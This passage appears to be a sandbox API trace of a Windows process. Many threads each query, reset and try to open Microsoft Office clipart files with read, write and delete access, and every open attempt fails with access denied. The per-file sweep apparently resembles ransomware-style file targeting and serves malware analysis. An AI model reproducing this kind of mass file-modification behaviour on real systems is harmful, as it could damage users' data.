dwFileAttributes=0x20) returned 0 [0212.943] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abad8) returned 1 Thread: id = 9945 os_tid = 0x1c28 [0205.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 0x20 [0211.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF", dwFileAttributes=0x20) returned 0 [0211.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.237] GetLastError () returned 0x5 [0212.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF", dwFileAttributes=0x20) returned 0 [0212.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abb60) returned 1 Thread: id = 9946 os_tid = 0x1c2c [0205.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 0x20 [0211.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF", dwFileAttributes=0x20) returned 0 [0211.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.235] GetLastError () returned 0x5 [0212.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF", dwFileAttributes=0x20) returned 0 [0212.945] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abbe8) returned 1 Thread: id = 9947 os_tid = 0x1c34 [0205.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 0x20 [0211.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF", dwFileAttributes=0x20) returned 0 [0211.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.234] GetLastError () returned 0x5 [0212.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF", dwFileAttributes=0x20) returned 0 [0212.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abc70) returned 1 Thread: id = 9948 os_tid = 0x1c38 [0205.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 0x20 [0211.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF", dwFileAttributes=0x20) returned 0 [0211.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.234] GetLastError () returned 0x5 [0212.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF", dwFileAttributes=0x20) returned 0 [0212.947] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abcf8) returned 1 Thread: id = 9949 os_tid = 0x1178 [0205.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 0x20 [0211.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF", dwFileAttributes=0x20) returned 0 [0211.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.234] GetLastError () returned 0x5 [0212.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF", dwFileAttributes=0x20) returned 0 [0212.948] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abd80) returned 1 Thread: id = 10076 os_tid = 0x12ac [0206.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf")) returned 0x20 [0211.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF", dwFileAttributes=0x20) returned 0 [0211.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.238] GetLastError () returned 0x5 [0212.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF", dwFileAttributes=0x20) returned 0 [0212.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bc428) returned 1 Thread: id = 10077 os_tid = 0x9d8 [0206.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf")) returned 0x20 [0211.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF", dwFileAttributes=0x20) returned 0 [0211.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.243] GetLastError () returned 0x5 [0212.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF", dwFileAttributes=0x20) returned 0 [0212.917] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bc4b0) returned 1 Thread: id = 10534 os_tid = 0xed0 [0208.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf")) returned 0x20 [0211.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF", dwFileAttributes=0x20) returned 0 [0211.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.720] GetLastError () returned 0x5 [0211.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF", dwFileAttributes=0x20) returned 0 [0211.720] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3620) returned 1 Thread: id = 10535 os_tid = 0x1f70 [0208.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf")) returned 0x20 [0211.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF", dwFileAttributes=0x20) returned 0 [0211.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.702] GetLastError () returned 0x5 [0211.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF", dwFileAttributes=0x20) returned 0 [0211.702] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b290) returned 1 Thread: id = 10536 os_tid = 0xdf0 [0208.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf")) returned 0x20 [0211.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF", dwFileAttributes=0x20) returned 0 [0211.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.705] GetLastError () returned 0x5 [0211.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF", dwFileAttributes=0x20) returned 0 [0211.705] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b318) returned 1 Thread: id = 10537 os_tid = 0x820 [0208.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf")) returned 0x20 [0211.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF", dwFileAttributes=0x20) returned 0 [0211.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.706] GetLastError () returned 0x5 [0211.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF", dwFileAttributes=0x20) returned 0 [0211.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b3a0) returned 1 Thread: id = 10538 os_tid = 0x828 [0208.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf")) returned 0x20 [0211.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF", dwFileAttributes=0x20) returned 0 [0211.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.722] GetLastError () returned 0x5 [0211.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF", dwFileAttributes=0x20) returned 0 [0211.722] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b428) returned 1 Thread: id = 10539 os_tid = 0xe24 [0208.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf")) returned 0x20 [0211.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF", dwFileAttributes=0x20) returned 0 [0211.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.707] GetLastError () returned 0x5 [0211.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF", dwFileAttributes=0x20) returned 0 [0211.707] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b4b0) returned 1 Thread: id = 10540 os_tid = 0x13d4 [0208.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf")) returned 0x20 [0211.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF", dwFileAttributes=0x20) returned 0 [0211.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.723] GetLastError () returned 0x5 [0211.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF", dwFileAttributes=0x20) returned 0 [0211.723] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b538) returned 1 Thread: id = 10581 os_tid = 0x1004 [0208.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp")) returned 0x20 [0210.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", dwFileAttributes=0x20) returned 0 [0210.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.598] GetLastError () returned 0x5 [0211.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", dwFileAttributes=0x20) returned 0 [0211.598] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7e58) returned 1 Thread: id = 10582 os_tid = 0x1510 [0208.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp")) returned 0x20 [0211.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP", dwFileAttributes=0x20) returned 0 [0211.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.779] GetLastError () returned 0x5 [0211.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP", dwFileAttributes=0x20) returned 0 [0211.780] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7ee0) returned 1 Thread: id = 10583 os_tid = 0x8b0 [0208.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg")) returned 0x20 [0211.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG", dwFileAttributes=0x20) returned 0 [0211.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0211.668] GetLastError () returned 0x5 [0211.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG", dwFileAttributes=0x20) returned 0 [0211.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7f68) returned 1 Thread: id = 10688 os_tid = 0x199c [0209.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf")) returned 0x20 [0213.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF", dwFileAttributes=0x20) returned 0 [0213.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.106] GetLastError () returned 0x5 [0213.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF", dwFileAttributes=0x20) returned 0 [0213.106] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d0b8) returned 1 Thread: id = 10689 os_tid = 0x1a10 [0209.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf")) returned 0x20 [0209.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF", dwFileAttributes=0x20) returned 0 [0209.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.416] GetLastError () returned 0x5 [0209.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF", dwFileAttributes=0x20) returned 0 [0209.416] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d140) returned 1 Thread: id = 10690 os_tid = 0x127c [0209.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf")) returned 0x20 [0213.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF", dwFileAttributes=0x20) returned 0 [0213.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.104] GetLastError () returned 0x5 [0213.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF", dwFileAttributes=0x20) returned 0 [0213.104] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d1c8) returned 1 Thread: id = 10691 os_tid = 0xc2c [0209.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf")) returned 0x20 [0213.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF", dwFileAttributes=0x20) returned 0 [0213.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.128] GetLastError () returned 0x5 [0213.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF", dwFileAttributes=0x20) returned 0 [0213.128] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d250) returned 1 Thread: id = 10692 os_tid = 0x1520 [0209.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf")) returned 0x20 [0213.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF", dwFileAttributes=0x20) returned 0 [0213.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.103] GetLastError () returned 0x5 [0213.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF", dwFileAttributes=0x20) returned 0 [0213.103] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d2d8) returned 1 Thread: id = 10693 os_tid = 0x1524 [0209.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf")) returned 0x20 [0213.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF", dwFileAttributes=0x20) returned 0 [0213.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.127] GetLastError () returned 0x5 [0213.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF", dwFileAttributes=0x20) returned 0 [0213.127] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d360) returned 1 Thread: id = 10694 os_tid = 0x1528 [0209.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf")) returned 0x20 [0213.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF", dwFileAttributes=0x20) returned 0 [0213.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.125] GetLastError () returned 0x5 [0213.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF", dwFileAttributes=0x20) returned 0 [0213.126] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d3e8) returned 1 Thread: id = 10695 os_tid = 0x152c [0209.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf")) returned 0x20 [0213.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF", dwFileAttributes=0x20) returned 0 [0213.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0213.124] GetLastError () returned 0x5 [0213.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF", dwFileAttributes=0x20) returned 0 [0213.124] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d470) returned 1 Thread: id = 10696 os_tid = 0x1530 [0209.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf")) returned 0x20 [0213.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF", dwFileAttributes=0x20) returned 0 [0213.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft 